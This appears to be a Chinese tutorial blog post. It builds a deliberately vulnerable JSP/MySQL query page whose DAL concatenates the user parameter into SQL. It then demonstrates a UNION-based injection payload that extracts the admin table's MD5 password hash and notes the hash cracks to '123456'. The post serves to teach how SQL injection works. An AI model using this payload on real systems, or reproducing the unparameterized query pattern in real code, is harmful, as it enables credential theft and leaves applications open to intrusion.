例子 要查询信息 并显示出来

SQL  信息表与admin表 插入信息 md5 加密的密码

CREATE TABLE `admin` (  `Id` int(11) NOT NULL AUTO_INCREMENT,  `Name` varchar(40) NOT NULL,  `Psw` varchar(100) NOT NULL, PRIMARY KEY (`Id`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;CREATE TABLE `info` (  `Id` int(11) NOT NULL AUTO_INCREMENT,  `Info` varchar(40) NOT NULL,  PRIMARY KEY (`Id`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;insert into info(`Info`) values('SQLinject');
insert into admin(`Name`,`Psw`) values('admin','E10ADC3949BA59ABBE56E057F20F883E');

开始页---点击传参 --查询信息

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%><!DOCTYPE HTML>
<html><head><base href="<%=basePath%>"><title>SQL注入测试</title></head><body><% String info="SQLinject"; %><a href="Info?info=<%=info%>"> 查询info的信息 </a></body>
</html>

查询servlet

package servlet;import javax.servlet.http.HttpServlet;import java.io.IOException;import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;import dal.infodal;
import java.sql.*;public class info extends HttpServlet{String ms="";@Overrideprotected void service(HttpServletRequest req, HttpServletResponse res)throws ServletException, IOException {//取得表单数据String info="";if(req.getParameter("info")!=""&&req.getParameter("info").length()<100){ info=new String(req.getParameter("info").getBytes("ISO-8859-1"),"UTF-8");}else{ms+="info不正确";       }ResultSet rs=infodal.serchinfo(info);ms="信息查询成功";req.setAttribute("rs", rs);req.setAttribute("ms", ms);RequestDispatcher rd=req.getRequestDispatcher("inforesult.jsp");rd.forward(req,res);}}

查询DAL

package dal;
import java.sql.*;import constant.dbconstant;public class infodal {public static ResultSet serchinfo(String info){String driverClass=dbconstant.getDriverclass();String  url=dbconstant.getUrl();String dbUser = dbconstant.getDbuser();   String dbPwd = dbconstant.getDbpwd(); try{   Class.forName(driverClass);                 Connection con = DriverManager.getConnection(url,dbUser,dbPwd);Statement stmt=con.createStatement();   // String sql="select id,Info from info where Info='"+info+"'";ResultSet rs=stmt.executeQuery(sql); return rs;}catch(Exception ex){   System.out.print("连接失败!!<br>"+ex.toString());   return null;} }}

显示查询信息

<%@ page language="java"
import="java.util.*"
import="java.sql.*"
import="constant.dbconstant"
pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%><!DOCTYPE HTML>
<html><head><base href="<%=basePath%>"><title>SQL注入测试</title></head><body><%ResultSet rs=(ResultSet)request.getAttribute("rs");while(rs.next())
{%><p> 查询的信息为: <%=rs.getInt("Id") %> </p> <br><p> 查询的信息为: <%=rs.getString("Info") %> </p> <br>
<p> 查询的信息为: <%=rs.getNString(2) %> </p> <br><%}%><%
String msg="";
msg=(String)request.getAttribute("ms");
if(msg==null){
msg="";
}else{
request.removeAttribute("ms");
}%><%=msg %><script type="text/javascript">
window.οnlοad=function(){
if("<%=msg%>"!="")
{alert("<%=msg%>");
//self.location="inforesult.jsp";}
}</script>  </body>
</html>

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app><servlet><servlet-name>Info</servlet-name><servlet-class>servlet.info</servlet-class></servlet><servlet-mapping><servlet-name>Info</servlet-name><url-pattern>/Info</url-pattern></servlet-mapping></web-app>

以上为很常见的jsp过程   参数info 没有过滤 也没有参数化查询

注入语句

SQLinject'  union select 2,Psw from admin where Name='admin

2 为常数  因为要对齐info 个数为2 int stirng

查询语句为

select Id,Info from Info where Info='SQLinject' union select 2,Psw from admin where Name='admin';

查询出来的信息为

info 的 Id     Info                    1       'SQLinject'

2       Psw                   2      'E10ADC3949BA59ABBE56E057F20F883E'

E10ADC3949BA59ABBE56E057F20F883E 为md5密码  在线查询  123456

jsp mysql 注入攻击实例相关推荐

  1. jsp mysql 注入_由Jsp+Mysql注入到root权限的全程展 【好久没有安全类文章了,转一篇看看】...

    由Jsp+Mysql注入到root权限的全程展 最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整. 很多人可能都知道asp,php的编程要防止 ...

  2. sql注入攻击实例mysql_MySQL 处理SQL注入攻击

    MySQL  处理SQL注入攻击 如果您通过网页获取用户输入并将其插入到一个MySQL数据库中,则有可能让您对称为SQL注入的安全问题敞开大门.本课将教您如何帮助防止这种情况发生,并帮助您保护脚本和M ...

  3. mySql 注入攻击

    注入攻击 1.原理: a.只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入; b.字符串拼接和没有判断用户输入是否合法------>导致用户可以玩填字游戏-----> ...

  4. mysql注入攻击实_三十三、MySQL基础系列笔记之MySQL安全问题与SQL注入攻击

    SQL注入攻击大多数与程序有关系,程序不严谨是导致SQL注入攻击成功的一个原因.安全问题不容忽视,平常的开发中应关注安全问题.下面简单记录PHP中的SQL攻击问题. 什么是SQL注入攻击 SQL注入( ...

  5. kali使用mysql注入攻击_基于kali实现的一些攻击

    本文如果出现什么错误,或者有什么建议欢迎随时联系我,谢谢! 1.局域网断网攻击-----ARP攻击(使用kali下的arpspoof工具,为了方便,受害主机为本人主机) (1)Windows下查询本机 ...

  6. mysql注入攻击与防御word_SQL注入防御与绕过的几种姿势

    媒介 本文┞仿重要今后端PHP和MySQL数据库为例,参考了多篇文┞仿后的集合性文┞仿,迎接大年夜家提出小我看法,互促成长. https://zhuanlan.zhihu.com/p/26263513 ...

  7. sql注入攻击实例mysql_SQL 注入攻击案例

    一.检测注入点 二.判断是否存在 SQL 注入可能 三.数据库爆破 四.字段爆破 五.数据库表爆破 六.用户名.密码爆破 七.总结 一.检测注入点 首先,在 http://120.203.13.75: ...

  8. web安全学习-sql注入-针对mysql的攻击

    文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...

  9. mysql注入模糊_sql模糊查询,以及sql注入问题

    mysql 模糊查询 与 sql注入 一.根据姓名模糊查询员工信息 方式一 select id, emp_name as empName, sex,email,birthday,address fro ...

最新文章

  1. 这家卡车自动驾驶公司图谋借壳上市,Waymo和Cruise的故事讲不下去了?
  2. 记录两段经典标定代码
  3. python入门要多久-初学者如何快速上手python入门要多久
  4. Socket编程基本流程实践
  5. html5 测试用例,Web 测试通用测试用例
  6. ActiveMQ群集,持久订阅者和虚拟主题可助您一臂之力
  7. Linux 代码格式化工具 indent
  8. Javaweb MVC设计模式、Modle发展史、项目分层和三层架构
  9. ROS笔记(22) Gmapping
  10. Only a type can be imported解决方法
  11. Android仿人人客户端(v5.7.1)——通过HTTPS协议的POST方式获取用户的基本信息
  12. React常用的命令解析
  13. 20200719每日一句
  14. 三原色是红黄蓝对吗_三原色是哪几种颜色?是红黄蓝,还是红绿蓝
  15. python中的反三角函数_用公式计算反三角函数
  16. github 镜像站
  17. Ansible的脚本(playbook剧本)
  18. Mask R-CNN 训练自己的数据集—踩坑与填坑
  19. 李炎恢bootstrap做轮播器的方法与思路
  20. 面向对象三大特性与C语言

热门文章

  1. C语言经典例35-字符串反转
  2. 【Groovy】Groovy 脚本调用 ( Java 类中调用 Groovy 脚本 )
  3. 【C 语言】数组 ( 指针数组用法 | 自我结束能力 )
  4. 【Android 逆向】修改 Android 系统文件 ( Android 逆向中需要经常修改的文件和目录 | 在 root 后的设备中获取 / 目录的 rw 权限后注意事项 )
  5. 【EventBus】发布-订阅模式 ( EventBus 组成模块 | 观察者模式 )
  6. 【字符串】最长回文子串 ( 动态规划算法 ) ★
  7. 【Android 进程保活】应用进程拉活 ( JobScheduler 拉活 | JobScheduler 使用流程 | JobService 服务 | 不同版本兼容 | 源码资源 )
  8. php 二维数组排序详解: array_multisort
  9. webpack简单配置
  10. Codeforces 372 B. Counting Rectangles is Fun